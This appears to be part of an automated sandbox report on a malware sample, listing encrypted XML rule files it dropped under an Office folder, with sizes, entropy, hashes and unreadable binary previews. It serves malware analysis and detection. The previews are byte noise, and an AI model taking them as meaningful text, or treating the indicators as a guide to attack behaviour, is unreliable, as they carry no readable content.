Preview:	<?xml.I.b'.......}.......^c..f.S c.t..OqS.n.0..j..E...md.....<.../...F-.bN.N.....a.J.w.E...u7Ay......7.%e..n...)..t{..D..1.D.^.n...$H\..{.[..4.2........,...j.}... Gf..p.]....5.l........y..&0..h]..x.)).ny.'...$/(..........p.y...3Xyj..k.o..S...@..S.Uj.XkI.>_S%..Uf..7#........TX...YQ_.-1~2....>v..2.)>...J.........%...cBq...O....p.Z..X)?.H..+.........z5.).@]-...h...e2X.lJn.f.....H.x..N..a....e..u.f......J...ElY..8.L^].N....u.j....Z.1.heO...y.U.....j4.....9..o.?m...S..j.........&.%...< ...&3.fX...@...{..S...62..b......R...Y^z#..UB-n...swv....I..M(.....Q...s...5...(=Nn....h.G.......6.8<.R.x..S....\7..,.}:..:.d...A@.gd.._.>.!.3..?.$-.."d..".I.....F.B..Q7p..........z.(...2..2..A..n.A3s....>......i..b..n.....`...;83.Iq..#.....H#O..^/..Q..L....k....\...p.r.1%.J...........p.G.;g1..-mk.m../.a..'....Q.+A.......}:.....h`...v.c.0.)...^.).y..j.s.22:#....'.....3E%....c.........wr..!.GT.?.c].R.7.f^t.F..cy.W......P.......Uxj..S....wz.K.'.;...4.8.2.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230167v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.891735540208878
Encrypted:	false
SSDEEP:	48:LuwirJRV48eJ2Zr1MUgb/EvM+OfB6wHYwfU3XFuED:KwQJL0wZ6/EU+WYHnFuQ
MD5:	0BC260705B0797CCC02CD22B9B074B9D
SHA1:	4F95336F52B85ED6AAF397BDC1AD1135C78AB2E1
SHA-256:	DEBB9FBABA8F9114BB66659C8E2D2BF285B856CB76F3A68BF11D46E78D2698B5
SHA-512:	001A7D26C8179F0301D4523DAE91F8B46D66D2BA2E69CF9D519BCEAE8589E9555A5012064D59EC92D42FD492CA6E5261F4D5DB0E51FFF7D9AAD5363A4194FD1B
Malicious:	false
Preview:	<?xml.9..H.rq..<.T..`.h........Z....cH...]..4...OMVN4.}.....1B4...4f....Ac@P(.....q.t.ewM.$\|...`..%g...n..:...:.7%....<.xO;^...S...n.]..bR./.RC.......w{('P=P..r.B. .z..JeV...A.\.{u.M.H....G..a.....>...-.8`....- ....bz.W.l4?...t6z......]6.`...6/<l.d.-.........;".......R....u......`..s.'.t...Sh..q7:Zo.{tLg.YM.D.h.f.J...+2..D..G....n....X....`2.;..l...(..o..fb..C.j..(.hE.y~.S5..!.gE.......~!.Gq...Hyh`.....k.~.q...."!....q.9..8...y]...5C....f.y.X.uQ.8<...k.._j..28...7.j....$.s........U.n........>...y6....3.......~.eP.a...../m..._.`.K.J.[....E-.mp....Q.R.jw.Y...Hz....W..0.+.!.$h%.Ri.<....'.Xj.\Hi.y...V7.Xm3,....s.L.L..d6X9e...M...$ .k.TA[F/.{)o..:.....65t....o+\.4.....Un[o......r"..M.....%.4T[.<\PBnD.@.7..c.n.X'2qb..W.....`ud..&..,.m.a...I..g..n.O.1ki..\.n...Z.=.yG...W...[..<e.7e1!...).Z.j..O.g..v-9..ps.<N.."..t..vm.&}.C.#@..."W.....}m.ze#Z....E......SJWO~...j.=.ty.0...x...i....S.A.A.D..Sb.q....-s.........Z...'.~ ........BF...VEDv.f7

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230168v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3440
Entropy (8bit):	7.943995543446754
Encrypted:	false
SSDEEP:	48:Gp74hUDcfHC2+xbLKB8XfOb9ISGXY2dBkiT/fIGhUkh7buMIlipeaJ6lmozDFanE:U40cfIbLpf1XJklgpIlipd6lm3H8nFuQ
MD5:	9398926D22CF0196B82442E547C4903B
SHA1:	A8FE412F41C04861B193EABEB22B83C5B130DFF3
SHA-256:	6DCBDD0EA84B931051730E6E70E88E7B191298E8100E993D014F01B814F86A08
SHA-512:	D8613DAB98225402D6A57F1505CDD23913B1BE986FBE2F0ADC3D07668C9362B9BFEF90751BC1A8310AE0CE87B73C68085B26A4A624DBE61BF1834885B5913E57
Malicious:	false
Preview:	<?xml...8m..._.b.V.....I..H\.p\|c...X..V.p....A.b..,6...{.C..r;........v..?./..D.g.5..D.....i.S.<...c.]>..k3...../...W..F..J.A...oY_.%.:......\|.=PW......ZvM.G[Gh....:V>[...P.Rt."8[.\.......{..;:...X....~.R..6.K.z..[.....4t....-T[..2.).f.....j.....`...lp.t....?.z...v.e....fHu.`....sy......e..,/.f.Uhar....A..`....F..0L..[..S.ml$.,......Cu.#[.\.m..(..U!yV]Q&.xL.9P...8..2B......v>...KBy.==.,.K.....Ems....K...:.{u=w_....+@.k..F..>."...q.....$.U1.@......."...1..n'm..v..`.D)...W.X^...0.d...;..A.n7..=g..0.....[g..b.Y...t..P.)(.m.....P;..?J\.g...D..b..]@..Q.,.\.S.......h.z.q..y..d...............3.B7.h\"R..'.(.&.l..s.k..p.1v..9=....N.]...Pk..-=v...N....`YP.(.%A.OH.Q..~#.v.....r.."....?...{...C.@^....... .._....\|8;o..n..@.....P.r.)k6....w..+u.W...G..k..b....8......8.13...Jt....^5......m-"u...H......c3^.. .;..2.%%....j]n.(W.......a..`f.......$_....\w...........m.:.ORYT..$.Ll.... 7...o....c4.....%....wd.bxh..#l^8#..d.C\.#...]...q.....D.y.....J..2

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230169v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	7735
Entropy (8bit):	7.977024739977027
Encrypted:	false
SSDEEP:	192:VXaP48iY6UoFPGEcpKUH2w9Vyf0QOMRWGc0sTJX3EoQ:VXyVm+Eoyw980lGcpTF/Q
MD5:	AEF49F545A2ED8D617C326212CC35FD0
SHA1:	02E5812E90F24CF94B1BAE76D5CD245774521B89
SHA-256:	511B0C5CBDF844660C8C287578668C434384C8655985824936661486E46AEB94
SHA-512:	1FC76F4DA193FCCC89190A72285C511A9C297916E21DDA62DCE24940D30B39A08143057CE721C5161B9396D0BDC392D1ED1C99F113B81690BE412A0DFFD9A38A
Malicious:	false
Preview:	<?xml.\|..,...V.......e?....j...q.!..35...-..._...r.z.1C..H{........$...l?C..v...mg`4..s.@..r.....VO.Kt....<...../.zID.."j.........-x;v....ec.V..U..gW..#...?....=.5.FP..?...k.{..twU.7...7..M.....s..A.QK..U#.._...N.b.....+..Q..I...+z..R....Z........?..`._u.Lt.E.4...i.e.UN.0..b.z.L.....R....@Y.v.t....D..R.MzF);\.....Y..@q..".>...4.9.+%e_-.m..!.IV.......J......<1~7.x....[....n..7..+....\|......G..x.s9c.xV"...:....D...w....p...5...l].?..%.r.....l..,..E..G............E....9c.lK..H...7.Q...s.~77.......U............`.^..t.L.&u.\|....:..EI$.h..wW.W.~r.2..m.w..^.i.....3.o.`..7m...)..\|.a..5.....>...cZ.R..6R'.}gbq........[......E...F%...6.nl<......M..,....G...W...i.RDY.d.e.R.....vOW...}.......+.'.3......*..B......N...7.6t.)..M..c.......`.3.VA.....k)o.....g{^...a).C.+..>.r..S...Dl..@...O.H..ja.(>.8...r...<.Y......>r.[.I..=.G.1.w..F........0C.O..O(.J..V.E............gwIZS#..;_L..J....&.`D..<....:......{y....O..K7.$\|U,..H%.5LO/..D...X.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230170v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	23958
Entropy (8bit):	7.9923683456998775
Encrypted:	true
SSDEEP:	384:GnJB500GSOBACkipQbsQkwcO9gHffDiDCKKddssZn+exfKkRRxOe6VmqUHJGyQ:GnJ3/5OWCkissQ1E/fuDCK4GsZ+IKkR0
MD5:	464D1ED3713692E4D66095947959D2CC
SHA1:	1C94978CDD52A7B34C3984AD38805545EFEC9B75
SHA-256:	76078B4997769DC37F062B0545287ADE1BDDCFBD8CDB1FF637FE326EDA59EB18
SHA-512:	CF213F69C93173E10B7D14F1746648C05656359101B815813533B8E16F4FD0CE4685271CDE800A462E6EE3E0C720541B1CCED2D6D4B9D60E1A10EC747CE35E01
Malicious:	true
Preview:	<?xml.......P/z.0.G..9...:.'.>....X.N...t].4)..."........O..Z.....^U. .!...o...S....%M.c..^3`4..N!r....8.]....[....kd....O.-..).b....zox....J.@4:b].....1C.....q..@....]3.\|<....2....._y.w..>l.{..6..U.b...o.........2..z....F....hR....D.&Jo}.j.Z....a....m..SK...m.Z..zL.x...\#.v...x...;]w..mv".....>.-..:^@..Us.D.......o......36.j.m..a.j.@.X...1oyq.cx....)..G...RQ.\|.......b..^D$...b...Ji`N..(....e.......R..\|ac..J;B.B.n....^E....~..sV..%.?..y.X.qgvd.J.3.7m(...}..3...e.&.i+80"9[.../."...>:5.U...`..$...l.{..V+=x....FRU.....<...Z5..~..S5`u...%)"...d....}....^o[....LT^..H....?S^#O]e.CL..\.s.n....+....^.#..../&B7...E.]...g.......Z.9O.y.=vU.:&....4d..D~.(...X.}0m..e..!.yS.D..%...(^...m..[. 5.^b.g..W.m.....-.g........i,.9.\|l.a.D/ ..+U.M.z.O...?...@.E.>R..,../k....yZ`./G.+.v....6^....3.2..a...P..."b.Cf.. .A.z$b..1..7.zCK..1......\|../..+.G:...u&..FpQ..2..:....:..(g.......n.E..:.......k....ZK[.ID /v..sk.=.J6.m........g>..Bt,t.do....z...T3..0l.L

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230171v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1767
Entropy (8bit):	7.886164223629274
Encrypted:	false
SSDEEP:	48:Wt9FY4/0Kx4kJyJ7XKeKjIu9afqO5V6ZjeYCspKQNAXFuED:WvL/zNJUXPLqO5kSspKQUFuQ
MD5:	974D3D0D578328FCA8CFE3D20391E1A1
SHA1:	F994D6E23498ABC231B2D48C5499338C8022A3EE
SHA-256:	5ED038514789F6CC66C3A81A91D66A7AF5C76A2BFEE56B3755CE4592A05922AE
SHA-512:	7F971DA039658F67B6D8BF71143062F6114111ED7BF6DFCE5E42BB581E3578AC8CF1386D7850D559DDC906DE84C2E51ED296D9F6E2DB9551EE6F00BD9EA99547
Malicious:	false
Preview:	<?xml.L..E5.....D@......................q....\.......h......."@#".P....d2..8Y.."v.i.'.P...7....._...i.+...Y...dZ.(/KTy]Y.U.....U.......).).w7F.14.x...}...VB....!Nw.fvE..!.En..Yq...b3=.`...e..!Y.......\.V@...v.Y...-0.d.....N..;.n28.',(^...\,VR.............1...If.w.p{4.......C.....C..%...qb.H.\..L93k..3....B.60@.....N.\|......2IT..[...N-Bn......A.3f.?.Y....L.g.j[.N.o...Vs.&.&}.Y.e.J.UKo...t.=K.......K.Q.A.....b6.V.u...."'...I .!..]....n{..........j.vD2....+(0+..U!..O9.%.z>i..(....!..W..Q.aVM......~..Y.../..n.......M....=...7..2.w...6.=.!.j.E.Y..tS...Z.o.dLR.....b"r..R.xO....<......6.P>.O,.z...U..&...y..S.`..Dh...{......'..^.h."H..>..Q..yH.....e@..M....{g....o.N.....Y\|A.$.T7......gj.N..........`BL[.I.T......E.Y..B..u.m....(.........$.>.....%..!.A........F.c....\.p...m.....P.0.6..n....6...C..l%...y..n.-...[..-..1.)g.....T......./J..D..c..+.W..D...E .Y..c=....z`.]@...v:.x.....n..Ic.e2J..S.a...+....d.(...R...U.&...".v.....h..\|...vm..z!...

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230172v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	31744
Entropy (8bit):	7.9940017035815085
Encrypted:	true
SSDEEP:	768:hEM5d3AX2lj9AvSkpjME1roYfPgiJyHQEkMg1l6v:zn3AX2lRLkpjME1lfPgiJnEkMgf6v
MD5:	C76D4777E6BBD2420C70074FE9C465B2
SHA1:	5FFC5D2579B7A998BA05F9296201526A1D13B85B
SHA-256:	BBC5187C572CFAAC1B61818242864FD1FF2C3AD78EBB8CFA4018131392B7C305
SHA-512:	A16112154154E19B375519D74A2DEA8A0B3111CC494BE7CD7F0E6C9095E3907952486C75CC0D4266FB4CB415513A82B4649830FC20D3FEC4061B8104F5400815
Malicious:	true
Preview:	<?xml.;..j.......MY.>.4>4".._...20-"...+9Hi....b.\|...,&...K....PJ..!)O.;......-=>m..0...p7.<..;.G...T.K_u/..U......b.........]..G.......{.S..bn.\|4...&.F..9..J.k.Qw.^.t....`...... w...z&..P..l.`......8_.....Q.T.J..N.`...G.....$x.L.../S3. %.f....8...u.<.. ....Q7........5.....U.?X...>...V...0..^=.=b.!...Bm.Q...PN....ni..o.5.......#...e..R.....0e...9..J..5F^.VLWA.<.s..^..J.2..d.K....Z..(GA....10....r...b......j_...?......d.._.J$..K...._$....{..,.......=..........g.c....Z<X..U.nD...T.JY....d....T..4...;.e..X`..z.s.Q.3"...Ad\....0..K. T0\.Y8......ar..;.C[....{5..e...s...~{..H...g"..Y..R..<..a...9.:!.\|../h]...T<.....L..G.:w88......s..m....=...h.<y.$G.B.35.@..:W...tIPx!.WA...D.+ ..)......V..l=.._..L.]G........I...[2.L..._H.T.m......k'.>Y...*-DB.'I..(....@/R.](N.....P..8.....o.L.e...r...\.B.1......@.7}.g..0.~.....M..m...$.....Z.. ....v[..~.#......;..2._....N.g-..H..........5c.0u...PK..u!.v...8...(}-.!..L..z........b3.<n.s.?=...S..... \.A..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230173v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	6372
Entropy (8bit):	7.97171215575862
Encrypted:	false
SSDEEP:	96:zmMJl/4cEjMoEt49rha5LmG4L67vg5zGuX+cHs0CttgsLPyaKr++TSVS2I8/NJCD:zFWtjMOwgPXw0TW6ak+Vu8T+f4rQ
MD5:	FF5DB06916B1EE9B94C42457BF2D9D8D
SHA1:	09CA6487E84B25F30F644D946B05106D8190CD88
SHA-256:	DF94AEE13AD638200A80E7AF8487C852B412FCDAECE1B55CBC3BF3710AE9A24E
SHA-512:	601FBC730C36FB8034038607E123398ECCB83FE6AD3CB203257B3075B8E369E2A24EE88BC2794B7E3B52215001F0DF098A058A147D1D015B9E0989A9BB4E08EE
Malicious:	false
Preview:	<?xml.5A...>.`......#..:.#..L&i.+...l...........!..L..K.....<mo.....-.6..PS.}.h.;........MXV.Fc.....P'....B..[.....t.B....0sP..f$...N9...@.E\|oV.......8r~nzE.v.V.a...ZR..p.j)..\.}..u.D..m.2..pB..u.x<4.........;i..J._.4.....x...e@K...L...R...3}b...}.T.B...d.}....]...ik..;#.;d...w[.. ..8.^..].\|.{..Y. ..].u..........O..QA.!...C...n...Ko......R^jJ...O.O[...r.(..5..C....B..Lu#2.g....[....q..j.....L.pRG.Ty...jN].....?.+..v... .....M.0R%. Z.Kk..z.f..!.#.Dd....v%)....UYMa.k... ..\.a.6..\|..a.N.....F......v.&.t.x...Y..y....Z.Z#}w..;W........'....Sv.-..08...~...Nj4.f....t.\|.'..pi@.fcE.. ..e-.^5f..%1..Ue........?.bY.j..?.t.5...Inc...$.kA...L.....o..@...A.....,..].........;d...A8..-.e......v.......0.w=......PD{..Jl.2.6[<............,`).......C..4.v".:.C&T=~[{..m.......1Y...d.!TM4...1.k....i\.\|.o..%`w6...U..Q"qb.y.Q.%N..c....5{a....R7.rW>.!..W...>..,.m..t?.r.\|.`9..~..`...u.B....P6..I..Y..."yG..C.Xa...~j.Dt.p._...... .2.<{qI.+.#....$.O....:._.^

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230174v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2482
Entropy (8bit):	7.917461509600165
Encrypted:	false
SSDEEP:	48:GVQ2p8sJFwXQtxGvWyfQEe7P9gQa41ooHGKAxstHiu6G2KcvXFuED:GVQeF2QPGvPfTeqfgMCdiAvcvFuQ
MD5:	202B7EABEA73677CAAB11D489F1689E2
SHA1:	FB067199673D629009C02BC3D6E31847037A197F
SHA-256:	A552D80E8A10C8D2BE3A517E1632EE4E35CD413518A0C304BC4604A7DE46EC6D
SHA-512:	BE69D7807BC3D174A8EE90839BE4C44B3656C07773288BAB7B472A0F376AF3563E4C3224847208628A710FF27D036148205631DCE541014EE83044DF63BE50E7
Malicious:	false
Preview:	<?xml...J7...A:h....`....R.....{...hd.:........Dt....pC..z..;..c.n..\....p....+J02,...D.........S....)..GJM.{Qka..o.OYL;k..g.j...}....(....~.@.o6q.7.s......m...XPO.m?[.i.q.\|$...nm.....8.\|..>...RPt..`D.lbuL1U...Q...9..M..a..K..L...v.#.C.r..0..l,........9.z.X.^...f..+(bh..-..DEh,K.?...v...{[Zy3..;....6.N.....3Cx(.F..).0.....s.#..d......Qc.\|Z..(......;.....Y.=.&l...\|...q_.T....t.rI.....t.i..)Y.Cz..Tb....q.U...61...../U.'.h;x<...."P...[.,3..\|.hP<--1.=...3hp..O.lF........7.Z...V.4.R.s...KdV.d..r.@:../1.82.5Z.....)../D.G....(...2..;]at1..d..V....b13O.......!/..E.e..CP'.........A./e.....Z:...O3.[..}...J..Z...8....U&.-/].<f....:!..>..M.F..A`+MeRx.pVeA.w7:IE[>ei.Q.D...Y...\.......P..v4 .r...X...`.(...#4.x9CA.G.lg..J.y..........c..j...#,...=E.\..y.Y.Hs.e............24...73.......{..~.s.d..{B;s.._y.....O)W.N-,....U+.._.....<..m:.F.......`..%g"m.....E.?.go.......L..&Q.=`H.&....td.......e.8^r.o....I.N......T..9$<........].......^....._p...m'.aO.R...

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230200v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1803
Entropy (8bit):	7.8964220506922755
Encrypted:	false
SSDEEP:	48:IBj9TqkUsK3lw2FS1RazglWBLhTUiLu1oXFuED:sqkUfFc0zguUCFuQ
MD5:	1ACF921E8E583FAFF664154503B9925B
SHA1:	18FE34A3CC9C1731E2A683FEA0BCD9EE348B46A1
SHA-256:	FAAC05F02E58A14CCADB84C61895502C6B5B29155689C85381A9B47DC0A850BC
SHA-512:	28604E05B1DDE3C220B30F8F79D8C6BD37B16E7B4767F52BFAC1D71627B67247C241D6485F6F9B9FD874BA0976403119E099303EAC61973D3E3637B317A1B243
Malicious:	false
Preview:	<?xmlj....... ...G..E/d........G..aMK.Qu..z...K...+.%r.T...^...B....~.....u...#.....\|.a:.t.....n....B...T.m....R....4ie...R..6(.l_.a].t`Q..Oq\|...u..z.......A.Y..f+..z5.P...2...).m....Q@.......#.I,...w..=.:..1.X .T....ns.A.O.-...........'x.CrvV.+~.2...a........Ky.>..5v.6p".c......j..C.7.sq..'.]..y.@........E....nb.Do.....<b.>.....K->.QI:.....M.y.E....%.o\....,:l......P..t...e..h....t...93..@_1..\|..>:0....".z.w<..:....R.>....F.=.....Wl.........{..kR..0......,],d./7.e.:.[.5......s.@..f....N.9..".......u...u...n&..B......\.^m&`:...n..l.R.!....ug.N.. ........P.~...J...'.j......-...+..E...~..6...>...\|.g.B.v..o.....9.Q._.T.\|..iD-qo9F0.g.".+.....>D..m.X.....Y....F......].=.c..s..)).....!.......9u.u.yN.....3...U.....S..ob...s.d..{..GChA_9..v.........0j.\..~..eE...}..B..Y.I=[.sb^$D./.?P.G@a.....5h..B.......Q.t-%.&bV....U=m#,N....Q....... . .y.R...N....{ZqU...o.o..^MW...T1Fa.+1.... ja...xT....\.dk.....q.q...kF....V@..w....0=yO!n..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700000v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.905764520661648
Encrypted:	false
SSDEEP:	48:+6K6xWzNUa7/VbRG1BVxOnkaCgDqfiRWDwv+FKXFuED:ZKWWzNRbR+fOxDqfig0WCFuQ
MD5:	6CE77E37E61E3D11ACA4A5EE9421F250
SHA1:	28B70C244B54FDD884D2AF569B59E6191A11D736
SHA-256:	041DD134002458C7990F4A5ECEA4EAC012859E52140CC716E1BFD8B4BFA27948
SHA-512:	99BAC85B23C61EB93EAAC733F9B2C30C6051F4BE604A186BEB49857C3AED2820CB004CB70C9522E6576DEA05624613DC3F49D71D877567BFC47DD02330E35524
Malicious:	false
Preview:	<?xml...g's..m">....hR.K.:.L1.!..(.YA+.....C.n..f..LV..%9.V...i..OB...F\...;...hl&...mzBq...l.we...lpT......5...+a_U...Vs0.i......................SA!....ZSoq6.h.Y...v.^...I....^z<....!m .l...M..5..6....&._.....S.._N..C.....d.O.!.0.7o:...#..&.X?;3>.%x.....y0..[...3...)w..,.....%.._.^....;....bT.gn@Q.<....~..2.x.DL.i.....bb.b.=&m.3c..(a@.J8zQw..-.Ou.n..W..W..#.N.<....ZX......!.1.....\U.....sY...q...Df....5<.m.]....n.Y..[.hU...f..K..)F...ia.G...<...,...-..d..T}l.P...o....../.%..c.+}.&..R.R...1...tMB.H.c.py.{.....".......}...9..x.....2.B.#...av.WF_g..G...+..c<........N.........#.l.,.#.~.>Xp,...3.R-.1...J"o..o.;...?o.}y...AR...M.......g2w..c.}..~>.....&...\fF.Q....u.J.Z....@.1..(.._.M....G...4^.\..h3{...PQ.........G=E.8..F.....#."...........B.k.......g....!.n.......(..fyeJ.w.a."..g.....T...qr..K..+A.?.1...u..f.G.@.;..}>.....(r.&..S97..X.......d;6f....D.{U.Q..p.....[e...:.&.!....]}E.=.a..Scy.L<x...$.@@...lH(.X.(.;..r.B..I^H...@....t.....j..+.=

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700001v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2074
Entropy (8bit):	7.9070202325302725
Encrypted:	false
SSDEEP:	48:A3ygLD4lJw/MGs8+bYgAbNGhgHeEesBZieQRxWpNYP9nB58meXFuED:sD40/M2XJGdIZij2HYP9gm8FuQ
MD5:	5414AC251C049C85A77693F87F3CEC50
SHA1:	91CC67907BAE74D1D6CC901AC599A5C1EB10A307
SHA-256:	F84EF19E1A0B415F136FA4B2F9BAC643F91E30912814C6FD7717436A6C66B93B
SHA-512:	257D4A2287A6A805798183B5B3D0DF0D4F3B4D38F94266CD448664B576007426CBA43484364AD266569C82534CD86737F0AA2D41F59D86ED1258855A712CF41D
Malicious:	false
Preview:	<?xml}.....`U.9..@.n......."}v..(O`.\|l..%......@....`.[..$R.tZy.a.......ZKUPgw5..A.....z.h..q.ulT........4.P..3..}..A<CF..].K.i..o{R.AZ...l.w.......v3.S.@2BJ.Z...N.;..K..C.i....qU...)..N=B.g.G...mDl.%..'.....n.F...{v.(..L...e....H....9..N>...b./\|..........[..l...8....&..a+.5....._3N.Nk.Z.?.......#..:@-J....a....$1.V..v=C.A....V....c.#..K.+.-..3.8}.#.M.....S,N.........P..8.Ua...Ju...K..0....$.>.=....'o".@....Y]d.n..._3.v.....J......m....q......o\.........Tu.....#...}..... ..8.3k.r<...E.iK.n~..(4...T.../.m^..R:....C..Q.".!.zlu...3..F....R..f.IW..;.1."'..ZV....9..a#W0.L_..izg..x...f....u..^. i.l...B...te.v.&.......NU.e...Z.f' ......>[.i.Py0.0<....].I.ky....\|........].. ....&..#qu0.vv.cl...1H.....}6.....].\,AC.X.......\......OO...z....Sg<...fg...<.p..}]^]U@;.].Z.C.....~.X..H.H$.$.v...2<.9...9.lG.S..9k............5QF...}..'...-.B..0.Ywk.NYV.HL......pC.>J..[.U.....2.@.5.o..l]:30.~/........sl..Wy...M3..=D...........W4.,.8=Fa...2*g...[V....f]

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700050v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.8919622892469645
Encrypted:	false
SSDEEP:	48:7vvEdCJLNihe1lw33Mp1xaZ0YJfBAt/XFuED:rEdyLoF3YIZ08ZA1FuQ
MD5:	85F930438EF408C5D5D77E969772025C
SHA1:	D032DEDA8AB85374AE8BB88F2BE5D48BDC7676DC
SHA-256:	8A844F2060FD2516FAB1CC4EECB77A98ACBF93DF65F35DD85BE12B3CE15A0498
SHA-512:	6088C037FFD22D1A4BC226BDF58F815B16CC59EA8CBBADE41ACC2109BC989BF31130286AE9C7E93CD5A9879F59CADE8EA678010D46C44A63C6D8FD86AB0AF016
Malicious:	false
Preview:	<?xml9.8.....g..?......r.Z..{ ........l.JMN.@.......P......<.k.z.....z.k......\5Lr..u}}[...?)Aqy.......k..G..m..8...4.v!..r.xk.../B...;._.P....l....l....h+D..j.5+"+P..UdCP..D......F.0;E...\|......./a<.d.V.0]].s.4F...2.4..P..".%+...BT.4.P~6.tp.B..>..<v$_.Y..=.z..u4b.u...H....WN0>WY .T._...WD.^S.\|...p...8.Q6=...".......!..ud .C...L.u.b.N...b.w./0...:.\|.v...:.....]W........q)....IWD...B.....=eQp..w.v...o%}...S...Y....4hj.c2V..D..A..<<...Ma...5.....^+....`.@^..P..E..v..I..5..+C./..@..iyI..L1.\|..F..Id...r.9.w{.B.?...^%1..{&f,..Zbx.WJj..i.<[vu......m!\|...8hu7"..f..b...k......\La5....\...Wi....~........@Q.X.....N....=..2.P.L....T.......X...c(kP..35j.M...m-..\..>b.6.G.....N..Ie^.9.^..U....Q...4,N]!.{......#..3..8}t.L".........O.....xV.....;h.c?........<./.{.........Gk...9:...j..+oj.>g.......3...\|.3.k..s'*7.d.Y.w..Z.Z...q}N=@7(.....<.<.7\|.=T.H.k....Vs!.\|nu.....e.Ld....x...$R...:2.K.=.x.W.k..C.A...9$. .e5D.s.~..(....-...&".W.OT.....X..2[...z.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700051v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.890281499495469
Encrypted:	false
SSDEEP:	24:fVukF92BjtezYAAP/FY90wMETttXkZ2i2Ej3KhntNQpRFkBzdFmIMF+099Xq8uWX:D9o61ihwPXX62iP34QYklF+0PXFuED
MD5:	995255550DD57F2AEC73554F4BAA85B8
SHA1:	0FD5CC08C7BA04394FE56BEB815D811A883D81CF
SHA-256:	DED329C77AD153F339B05B548B352E49ACC7610C6BAD50CA179C70CF71074461
SHA-512:	9CDACEBEF03AE13FB663607C695F684D97A09F71EE7E1521A150BC0FFAABFF9425D0B39987FD3A05308C82B99C296812049285ABEA67FE09F6D61AF21A079CC4
Malicious:	false
Preview:	<?xml...D..E.;#....\|....~...xiV@1...(.\h.....F.1SH@it.....Y..L'.ff,.jc.A.N.3.....Ji.7....J....>D..N..../.b...h=..-xQ,_h.....T.6...M...jM.&...P.r..3m#bv...P@:.6..y......I...F....n\..d....z-.....5.......j.v..n0k.: ..H....1......?........s1.,.....Z..G...p.,o.1.C.^s..L.=o..Y.........[..i,+.{..U.f..x..~...>.....N..bf3.A.:.(rl'...L.X:..$:g.E.8...\|k.[...v-6...;..xL"..ry..C...a(i$)x....R..g!._#.MI.^.1....5.k.g.X.ue..#..i:.~..p{.\|..VHS5.. ;..H..b.=N.!.....QO.......l..b........~MP.q.mr..z..(..u&A-..U...B.......a.....u[..F....I..=Ka\|.JK.Ds...,......:...\.+E(..]...\..Q:>A.x.g<.!.S!e..3..%....x[.`5..o]d..a...f..j{....K....tV[....f7V4.....[.F.....F..e.n..b..)].....7..."..3.....3....FH....\.....L@Xt%.......<./o$hx.'.......M....%\|.~.Q?U.S.NY.S..4p..U.oY.....d.e..'...e.H.4.....Na.v.T]....{.0.r$..`.Y..M...G.<...,c.w.#XB....W^?.......F.....{r.Ly`.G....e..g5cJ.\|...]...b.M...O`".`h.9....B..f53g. v..@.....Uw[y.....s.G.8..%.~u.R...0..>..>..7.p...

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700100v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.871025442665962
Encrypted:	false
SSDEEP:	48:sQYJwXMggRL6Qc/+cvzkcOlA6s4wEc0gLJoMnPox00wkXFuED:9pXZgRDc2lq6s4A0ePoagFuQ
MD5:	08F83CDCCBBC387231ACDB498357FB25
SHA1:	8BD273F28B2A9A4B047AFB86AA8704A236BEAB0D
SHA-256:	CA9723C162AFDBEE7E3264ED1DB73092D17ADCE6AAAA98692858C69CD678E70B
SHA-512:	16CC122DF87DAEAFFE83D7653ABB7A9BB3F7A56050C40E5A87E6646E52432D2401A54A54117F8A64F1090226A3FC780213DBA502A25D222EAB53B69913BECE9F
Malicious:	false
